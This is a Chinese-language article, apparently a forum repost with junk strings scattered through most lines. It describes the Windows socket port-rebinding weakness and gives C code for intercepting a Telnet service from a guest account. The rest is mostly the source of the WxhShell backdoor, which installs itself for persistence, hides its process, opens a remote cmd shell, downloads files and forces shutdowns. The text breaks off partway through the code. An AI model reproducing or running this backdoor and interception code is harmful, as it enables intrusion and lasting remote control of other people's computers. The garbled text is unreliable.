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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RKi11z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sOVbz2\yb ;15j\{r saddr.sin_family = AF_INET; ]#NJ[IZb "5wer5?
t saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,vcg%~- &0`[R*S bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7=hISQMsVP gI T3A*x 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6 Mc&gnN Ot<vn34mt: 这意味着什么?意味着可以进行如下的攻击: y/vGt_^;3< xcHuH-} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3aY^6& L$zB^lSM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1XppC[)) !+EE*-c1c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `*Ju0)g1 1Zo"Xb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8pXului /LK,:6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wH0m^?a!3 '}5Yc, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [`n)2}
k /_(q7:<ZF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e)M)q!nG O3JBS^;V2 #include mVsghDESJ) #include (O!Q[WLS #include bC h #include -dyN
Ah?= DWORD WINAPI ClientThread(LPVOID lpParam); <rn26Gfr int main() Gnthz0\]{ { EEJ OJ< WORD wVersionRequested; ."u
DM< DWORD ret; bXNM.K WSADATA wsaData; o"gtWAGH BOOL val; w,x'FZD SOCKADDR_IN saddr; #d* )W3e2{ SOCKADDR_IN scaddr; 5H^" int err; ExxD
w_VGT SOCKET s; 0!tw)HR% SOCKET sc; eEmuE H@X int caddsize; 'DdR2 HANDLE mt; "6t# DWORD tid; pNNvg,hS8 wVersionRequested = MAKEWORD( 2, 2 ); ))xP]Mu v err = WSAStartup( wVersionRequested, &wsaData ); 7x''V5*j if ( err != 0 ) { FzzV% printf("error!WSAStartup failed!\n"); gp(: o$ return -1; f&2f8@ } eqQ=HT7J saddr.sin_family = AF_INET; *=b36M |aX1PC)o_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WNO!6*+ zDohp 5, saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D!WyT`T saddr.sin_port = htons(23); ;^DG P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a,ZmDkzuv { %1Nank!Zj printf("error!socket failed!\n"); 7 (kC|q\4M return -1; _O;2.M%@ } hdN[wC] val = TRUE; 231,v,X[ //SO_REUSEADDR选项就是可以实现端口重绑定的 vp4NH]fJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^~DDl$NH { #`o]{UfW printf("error!setsockopt failed!\n"); I3hN7 return -1; cVf}8qf) } n\w2e_g;N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YwaWhBCIF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^W%#Elf) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PBOZ^%k xe@11/F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M" vd/FV { 4S1\5C9 ret=GetLastError(); E(-@F%Q printf("error!bind failed!\n"); "n%0L4J return -1; kNk$[Yfs } Hw1:zro listen(s,2); y*<x@i+h while(1) vAcxca">S { W)jtTC7 caddsize = sizeof(scaddr); 7CDp$7v2 //接受连接请求 Xrr3KQaK& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oM(8'{S= if(sc!=INVALID_SOCKET) :^rt8>~ { 2y5d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p6X-P%s if(mt==NULL) tA8O(9OV { Xe2Zf printf("Thread Creat Failed!\n"); )skz_a}]8 break; BcxALRWE } "cz'|z` } Q N]y.(S)y CloseHandle(mt); {Jc.49 } :Z&<5 closesocket(s); ;<l#k7 / WSACleanup(); <Uc?#;%Y} return 0; fM`.v+ } P09f DWORD WINAPI ClientThread(LPVOID lpParam) 2rxz<ck( { &4{!5r SOCKET ss = (SOCKET)lpParam; ~@$RX:p SOCKET sc; K$KVm^` unsigned char buf[4096]; lWakyCS SOCKADDR_IN saddr; {I8C&GS long num; W1_.wN$,5 DWORD val; /|m0)H.> DWORD ret; X]}:WGFM //如果是隐藏端口应用的话,可以在此处加一些判断 &embAqW: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .'PS L saddr.sin_family = AF_INET; eX'U d% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]$i@^3`[w saddr.sin_port = htons(23); ^Lv)){t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) apgR[=Oy { g.pR4Mf=Z printf("error!socket failed!\n"); xF6byTi return -1; l5/gM[0_7 } B \LmE+a> val = 100; SW}?y%~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mXs.@u/ { IU;a$ ret = GetLastError(); \V#fl return -1; oA?EJ ~% } #z+?t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {zalfw{+
{ '
eh }t ret = GetLastError(); a"&cm'\lL return -1; +c$:#9$ | } _FxeZ4\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @{"?fqo { :gn&wi printf("error!socket connect failed!\n"); {H* closesocket(sc); c~+KrWbZ~ closesocket(ss); r{KQ3j9O return -1; !/e*v>3u& } [1nUq!uTm while(1) Mc&Fj1h5 { J7Mbv2D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IN75zn*% //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tje(hnN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -3u ;U,} num = recv(ss,buf,4096,0);
~owodc if(num>0) O-huC:zZh send(sc,buf,num,0); m}7Nu else if(num==0) cn Ohj break; A*g-pJh num = recv(sc,buf,4096,0); OA^6l# if(num>0) Y?$ send(ss,buf,num,0); 'Y.6sB else if(num==0) m(D+!I9 break; Y]tbwOle } 1|m%xX,[ closesocket(ss); JT&RaFX closesocket(sc); _+X-D9j(l return 0 ; _u]%K-_ } CeeAw_*@ mV^~ b:cy(6G( ========================================================== BO WOH %>$Puy\U 下边附上一个代码,,WXhSHELL *`8JJs0g loC~wm%Ql ========================================================== D^gS.X ^ [X91nUz# #include "stdafx.h" wh)F&@6 R! eC94rcb}i{ #include <stdio.h> <PiO %w{ #include <string.h> +I?k8',pi #include <windows.h> 4,>9N9.?9 #include <winsock2.h> dyk(/#*7W #include <winsvc.h> )N*Jc @Y@ #include <urlmon.h> Mo5b
@
[ }m'n1tm;
#pragma comment (lib, "Ws2_32.lib") Z&79: 9=#> #pragma comment (lib, "urlmon.lib") K:^0*5Y-k S@g(kIo] #define MAX_USER 100 // 最大客户端连接数 lF_"{dS_6( #define BUF_SOCK 200 // sock buffer xP,b/T#a #define KEY_BUFF 255 // 输入 buffer X`1R&K;z^ uaz!ze+ #define REBOOT 0 // 重启 3)OQgeKU #define SHUTDOWN 1 // 关机 ',c~8U#q gJCZ9{Nl #define DEF_PORT 5000 // 监听端口 e,,O QZtQogNy# #define REG_LEN 16 // 注册表键长度 R8_I ASs #define SVC_LEN 80 // NT服务名长度 'y=N_/+s GGf<9!: // 从dll定义API Le:(;:eL>t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E7M_R/7@y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >,E^ R `y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nk<^ Qv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4"_`Mu_% aZ+><1TD // wxhshell配置信息 G[`1Yw$ struct WSCFG { 2:_6nWl int ws_port; // 监听端口 r fzNw char ws_passstr[REG_LEN]; // 口令 s*s~yH6 int ws_autoins; // 安装标记, 1=yes 0=no Q@7d:v char ws_regname[REG_LEN]; // 注册表键名 '&'m#H*: char ws_svcname[REG_LEN]; // 服务名 JXM]tV char ws_svcdisp[SVC_LEN]; // 服务显示名 hHGuD2% char ws_svcdesc[SVC_LEN]; // 服务描述信息 DY9]$h*y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OZ+v ~'oD int ws_downexe; // 下载执行标记, 1=yes 0=no
?C#E_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0 ZM(heQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4l+!Z, b R(`:~@3\6 }; !?(7g2NP) 4(|yl^w // default Wxhshell configuration :8!RGtn struct WSCFG wscfg={DEF_PORT, 5nUJ9sqA "xuhuanlingzhe", /("7*W 2 1, :nQlS "Wxhshell", h%krA<G9 "Wxhshell", kQ lU.J>^ "WxhShell Service",
fT|A^ "Wrsky Windows CmdShell Service", W*t]
d "Please Input Your Password: ", >WIc"y. 1, Vv45w#w; " http://www.wrsky.com/wxhshell.exe", X!p`|i "Wxhshell.exe" )@X0'X< }; Aeb(b+= sl `jovT[Y // 消息定义模块 =29IHL3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iN[x
*A|h char *msg_ws_prompt="\n\r? for help\n\r#>"; =9X1 +x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0Gc@AG{ char *msg_ws_ext="\n\rExit."; pL5cw= char *msg_ws_end="\n\rQuit."; 1^4:l!0D char *msg_ws_boot="\n\rReboot..."; )](ls@* char *msg_ws_poff="\n\rShutdown..."; Ic9L@2m char *msg_ws_down="\n\rSave to "; O=A2QykV( <;6{R#Tuh char *msg_ws_err="\n\rErr!"; @ M]_], char *msg_ws_ok="\n\rOK!"; "FWx;65CR ,|{`(y/v
char ExeFile[MAX_PATH]; /{\ /e"5 int nUser = 0; I I+y HANDLE handles[MAX_USER]; l6ym <V(1p int OsIsNt; ;^5k_\ yGdX>h SERVICE_STATUS serviceStatus; ch8a SERVICE_STATUS_HANDLE hServiceStatusHandle; =FrB{Eu Gv_~@MN // 函数声明 wQSye*ec int Install(void); 4b`E/L}2 int Uninstall(void); IWQ0I&tzdx int DownloadFile(char *sURL, SOCKET wsh); yQiY:SH int Boot(int flag); -GAF> void HideProc(void); c]PTU2BB8 int GetOsVer(void); AJ bCC int Wxhshell(SOCKET wsl); +e-F`k void TalkWithClient(void *cs); x#J9GP. int CmdShell(SOCKET sock); gSz<K.CT int StartFromService(void); x9"Cm;H% int StartWxhshell(LPSTR lpCmdLine); ^$K&Met l1)~WqhE} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X0VSa{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); >u?.gJm ~ V4n~Z+k // 数据结构和表定义 .eR1\IAm SERVICE_TABLE_ENTRY DispatchTable[] = m&:&z7^p { SM2Lbfp!u {wscfg.ws_svcname, NTServiceMain}, mG jB{Q+ {NULL, NULL} tWIs
|n }; 9 {&g.+ BDB*>y7( // 自我安装 ;=Ma+d# int Install(void) C\EIaLN< { 7$'AH:K char svExeFile[MAX_PATH]; jk9f{Iu HKEY key; j
uA@"SG strcpy(svExeFile,ExeFile); 2DQVl cZYy+ // 如果是win9x系统,修改注册表设为自启动 zm" if(!OsIsNt) { RbAl_xKI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eV[{c %wN: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @C)s4{V RegCloseKey(key); jE\G_> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VJ~D.ec RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wJy]Vyd RegCloseKey(key); C !j3@EZ$ return 0; "do5@$p| } 3iCe5VF } S,c{LTL } 42NfD/"g+s else { L ;L: c/|{yp$Ga> // 如果是NT以上系统,安装为系统服务 *;fTiL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IT| h;NUG if (schSCManager!=0) L4>14D\ { q)?%END SC_HANDLE schService = CreateService ?UtKu ( A2|Bbqd schSCManager, KD kGQh#9 wscfg.ws_svcname, V<QpC5 wscfg.ws_svcdisp, b^/u9 SERVICE_ALL_ACCESS, )|~&(+Q?] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }r:"X<` SERVICE_AUTO_START, |_;kQ(, SERVICE_ERROR_NORMAL, >Xn,jMUW svExeFile, D+]mKPB NULL, q+?&w'8 NULL, ZISIW! NULL, p<mL%3s0 NULL, :Y99L)+=/ NULL &}"kF\ ); $*C
}iJsF if (schService!=0) d@Z DIy { h4hAzFQ.s CloseServiceHandle(schService); T3wTMbZ!VK CloseServiceHandle(schSCManager); :zHSy&i` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q" VmuQ strcat(svExeFile,wscfg.ws_svcname); yKML{N1D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o?baiOkH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \.i7(J] RegCloseKey(key); :3D8rqi: return 0; JHxcHh } :Awwt0 } )s!A\a`vEd CloseServiceHandle(schSCManager); ,U{dqw8E{ } +^AdD8U } opfnIkCe /TMVPnvz. return 1; 'V&g"Pb } q[U pP`Z% vMzL+D2) // 自我卸载 )G2Bx+Z;L int Uninstall(void) C*YQ{Mz(f { T"g_a|7Tj HKEY key; `oxBIn*BD mI&3y9; ( if(!OsIsNt) { r Ea(1(I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QbJ7$, 4 RegDeleteValue(key,wscfg.ws_regname); f7&ni#^Ztj RegCloseKey(key); GgpE"M? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MT{1/A;`) RegDeleteValue(key,wscfg.ws_regname); z
0?Me H# RegCloseKey(key); LQF;T7VKS) return 0; 02]HwsvZ } <aPZE6z } aj?ZVa6 } ]9QXQH else { ;6V~yB C6>_wl] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G? SPz if (schSCManager!=0) >)4~,-;k { !!.@F;]W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7{r7 if (schService!=0) ~BI`{/O= { 94!}
Z> if(DeleteService(schService)!=0) { _N5pxe` CloseServiceHandle(schService); 27Gff(
CloseServiceHandle(schSCManager); |;J`~H"K return 0; 1feVFRx' } 2m $C;j!D CloseServiceHandle(schService); xhALJfv } 5YrzOqg= CloseServiceHandle(schSCManager); \(??Ytc<B } *L<EGFP } f#c}}>V8 6GuTd return 1; MgiW9@_( } CV[ 9i @kSfF[4H // 从指定url下载文件 .nY}_& int DownloadFile(char *sURL, SOCKET wsh) K-'uE) { 4l0>['K&{ HRESULT hr; W(62.3d~}? char seps[]= "/"; -']Idn6 char *token; 3ko
h!q+ char *file; 5B%KiE&p char myURL[MAX_PATH]; xZ'C(~t char myFILE[MAX_PATH]; 3=wcA/"! [Vbdsu9 strcpy(myURL,sURL); @Ov}X]ELi token=strtok(myURL,seps); b0}dy\dnQ while(token!=NULL) d\-*Fmp(S { bM'F8Fi file=token; +184|nJ<2 token=strtok(NULL,seps); /Igz[P^\9 } \FO`WUAF blomB2vQ GetCurrentDirectory(MAX_PATH,myFILE); 7oC8ID strcat(myFILE, "\\"); q>+!Ete1p strcat(myFILE, file); NP3
e^ send(wsh,myFILE,strlen(myFILE),0); HMD\)vMK6 send(wsh,"...",3,0); kP5I+B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |7K>` if(hr==S_OK) #y&5pP:@ return 0; \E c*Gq?. else n:a~=^IV return 1; +6: oHfr
glGX } #)L}{mHLM- E\}A<r // 系统电源模块 _*z^PkH int Boot(int flag) OeGLMDw { n"?*"Ya HANDLE hToken; ~|<'@B!6 TOKEN_PRIVILEGES tkp; a?ete9Q+ T:
My3&6 if(OsIsNt) { y ~-v0/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"O#
V/( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {.U:Ce tkp.PrivilegeCount = 1; <0Y<9+g! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sMLXn]m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vMY!Z1.* if(flag==REBOOT) { ^$`mS&3/q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;[4=?GL* return 0; Fsl="RB7f } O=LW[h! else { ZG +FX:v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P@bPdw!JA return 0; %INkuNa8\ } hKg +A } IPn!iv) else { W2%@}IDm if(flag==REBOOT) { +mft if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q`8
5- return 0; x4 4V
9-o } W9}
,f else { r=37Q14v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s-I M return 0; tYgHJ~1L* } DBGU:V,85 } o;
6^: iW2\;}y return 1; 1.N2!:&G| } >Q_
'[!S 8*Fn02 p // win9x进程隐藏模块 '5Kj"aD% void HideProc(void) +2tFX { /]0SF_dZ 2&pE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }l} _'FmQ
if ( hKernel != NULL ) TC2%n\GH* { b+gu<## pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @0
x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e ?7NW FreeLibrary(hKernel); J8@.qC'! } I5QtPqB> sZ7,7E|_ return; XgXXBKf$ } Z0v?3v}9^ _Wk*h}x // 获取操作系统版本 SXe1Q8; int GetOsVer(void) __+8wC { <_kA+&T OSVERSIONINFO winfo; $y.0h( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Muh|P]%\ GetVersionEx(&winfo); 3(t3r::& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J"S(GL return 1; wKpb%3 else Jqgm>\y return 0; 0 ;)Q } - q(a~Ge k;JDVRL // 客户端句柄模块 -{C Gn5]_# int Wxhshell(SOCKET wsl) ShlTMTgS { Qc!3y>Y=_ SOCKET wsh; F?jD5M08t/ struct sockaddr_in client; _cC!rq U1 DWORD myID; *ZLisq-f
T*8S7l while(nUser<MAX_USER) T~L V\}h { q$b4S4Z7 int nSize=sizeof(client); FG!hb?_1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3b#L*- if(wsh==INVALID_SOCKET) return 1; aO(iKlZ$ t,r:=' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z Fj |E if(handles[nUser]==0) 8D@J d closesocket(wsh); \et2aX ! else 0WKS nUser++; 4^YE*6z } f8WI@]1F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;!=i|"PG X@:Y. / return 0; ?*xH
HI/ } ypGt6t(; CCt\[hl // 关闭 socket <]DUJuF-M void CloseIt(SOCKET wsh) j_h:_D4 { _Yp~Oj closesocket(wsh); NOkgG0Z nUser--; dKD:mU",M ExitThread(0); %,<Ki]F } ."O%pL]!/b h6?Z // 客户端请求句柄 XR[=W(m} void TalkWithClient(void *cs) E^c*x^ { f)a0 !U 44 KZ#\ > SOCKET wsh=(SOCKET)cs; nN-S5?X# char pwd[SVC_LEN]; xs Pt char cmd[KEY_BUFF]; )[M:#;,L char chr[1]; ":s_O. int i,j; WcM\4q@ >KdV]!H while (nUser < MAX_USER) { IoK/ 2Gp -r3
s{HO if(wscfg.ws_passstr) { KUm?gFh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P7Qel , //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gJ9"$fIPc //ZeroMemory(pwd,KEY_BUFF); Y.tT#J^= i=0; zA.0Sm while(i<SVC_LEN) { 53a^9 [.Kp/,JY // 设置超时 1kvs2 fd_set FdRead; #,6T. O struct timeval TimeOut; u-:3C<&> FD_ZERO(&FdRead); f^"pZS FD_SET(wsh,&FdRead); nu~]9~)I TimeOut.tv_sec=8; E'Ux2sh TimeOut.tv_usec=0; g3{UP]Z71 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gVR]z9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k 9z9{ XQfmD;U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -}h^'# pwd =chr[0]; d}ycC.h4k if(chr[0]==0xd || chr[0]==0xa) { 7:b.c pwd=0; eMFxdtH break; { %]imf|g. } |KS,k|). i++; U-m MKRV } ,5ZQPICF =8<~pr-NO // 如果是非法用户,关闭 socket 0jjtx'F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %+Z*-iX } iI7ocyUv h4F%lGot send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3/Z>W|w#w send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NT5'U t:vBVDkD while(1) { Sx e6& Qs59IZ ZeroMemory(cmd,KEY_BUFF); v0E6i!D/ |K-` // 自动支持客户端 telnet标准 |vGHh zZ| j=0; Pgy[\t 2K while(j<KEY_BUFF) { 6W=V8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7C3YVm6g cmd[j]=chr[0]; blIMrP% if(chr[0]==0xa || chr[0]==0xd) { 2ag8?# cmd[j]=0; vxI9|i break; P#XV_2 } NY^0$h j++; i-5,*0e6m } ,R<9yEWm PRTjXq6)5 // 下载文件 ~eoM
2XlW if(strstr(cmd,"http://")) {
<9yh:1"X send(wsh,msg_ws_down,strlen(msg_ws_down),0); u{\'/c7G if(DownloadFile(cmd,wsh)) S5y.H send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhFm2 else 7dACbqba send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pb)8?1O|s } y;8&J{dd else { N1Ag. 6b'.WB]- switch(cmd[0]) { `V\?YS} =D Q:0w // 帮助 p&]V!O case '?': { [x>Ju&))$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )hj:Xpj9# break; E
BBd } 4m1r@
$ // 安装 KAFR.h:p9 case 'i': { ~tW~%]bs2Q if(Install()) mOn_#2=KF send(wsh,msg_ws_err,strlen(msg_ws_err),0); OVe0{}
j else DyGls8<\! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uza '%R break; :Z6j5V;s } TSsZzsdr2 // 卸载 %KT}Map case 'r': { c:9n8skE7 if(Uninstall()) Dpw*m.f send(wsh,msg_ws_err,strlen(msg_ws_err),0); cAEvv[ else .\^0RyJE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hy[: _E break; M%!;5 } D5?8`U
m= // 显示 wxhshell 所在路径 N6}/TbfAR case 'p': { jj2\;b:a0 char svExeFile[MAX_PATH]; ;'uQBx} strcpy(svExeFile,"\n\r"); %sr- xE strcat(svExeFile,ExeFile); P%(9 `A send(wsh,svExeFile,strlen(svExeFile),0); IyyBW2 break; p,$N-22a } {.{Wl,|7 // 重启 |9c~kTjK case 'b': { #H>{>0q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PKSfu++Z if(Boot(REBOOT)) c8JW]A`9b) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Qfsxg else { Q,xL8i
M, closesocket(wsh); l_+@Xpl ExitThread(0); x2#JD|0 } p#ar`-vQ break; "}fweCBgo } jBw)8~tYm // 关机 K -rR)-rI case 'd': { FHSoj= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Tg+)c Z if(Boot(SHUTDOWN)) 67&
hXIp send(wsh,msg_ws_err,strlen(msg_ws_err),0); &S*~EM.l8 else { K?!qNK closesocket(wsh); EaO@I.[ ExitThread(0); DdgiY9a. } 6&eXQl break; :V)jm`)#+ } cu0IFNF}[ // 获取shell =79R;|5 case 's': { Z,38eQpM CmdShell(wsh); 0d9z8y closesocket(wsh); 8I#ir4z#< ExitThread(0); `)n4I:)2 break; Pj-INc96 } \@:,A] // 退出 YS9RfK/ case 'x': { NFs 5XpZ~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N"ga-u CloseIt(wsh); ;Y`Y1 break; .Q*X5Fc } [s{! // 离开 St-uE|8 case 'q': { y!77gx?- send(wsh,msg_ws_end,strlen(msg_ws_end),0); A]/o-S_ closesocket(wsh); S }`sp[6 WSACleanup(); d qn5G!fI exit(1); a[O6xA% break; 1q;v|F } Nujnm$!,Q } =#b@7Yw: } -Ks>s w6%
Q"%rp // 提示信息 m.e]tTe if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )?*YrWO{ } v~P,OP("c } o|(5Sr&H NXY jb(4: return; I#M3cI!X? } ;!4gDvm M<fhQJ // shell模块句柄 BPba3G9H int CmdShell(SOCKET sock) \n)',4mY { Zh<;r;2 STARTUPINFO si; )|F|\6:ne ZeroMemory(&si,sizeof(si)); +T+@g8S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h4?x_"V" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FRBu8WW0L PROCESS_INFORMATION ProcessInfo; w
)R5P[b char cmdline[]="cmd"; JbMTULA CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V)`2Kw return 0; IY`p7 )#i } =?fz-HB $<^t][{ // 自身启动模式 Dm>"c;2 int StartFromService(void) t;&XIG~ { NI >%v typedef struct @w[i%F,&` { iq(PC3e`V DWORD ExitStatus; 'pdTV:]zA DWORD PebBaseAddress; XIHN6aQ{X DWORD AffinityMask; _!\d?]Ya DWORD BasePriority; +2~kHrv ULONG UniqueProcessId; ,kN;d}bg ULONG InheritedFromUniqueProcessId; #<im? } PROCESS_BASIC_INFORMATION; /d8o*m'bu! !~@GIr PROCNTQSIP NtQueryInformationProcess; UNdD2Fd9 Y`|+sND static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5'~_d@M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _kj]vbG^; "s*-dZO HANDLE hProcess; T~TP PROCESS_BASIC_INFORMATION pbi; Sqo+cZ Jg6Lr~!i HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {4 Of. if(NULL == hInst ) return 0; Hcq.Lq;2: 1 DWoL}Z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
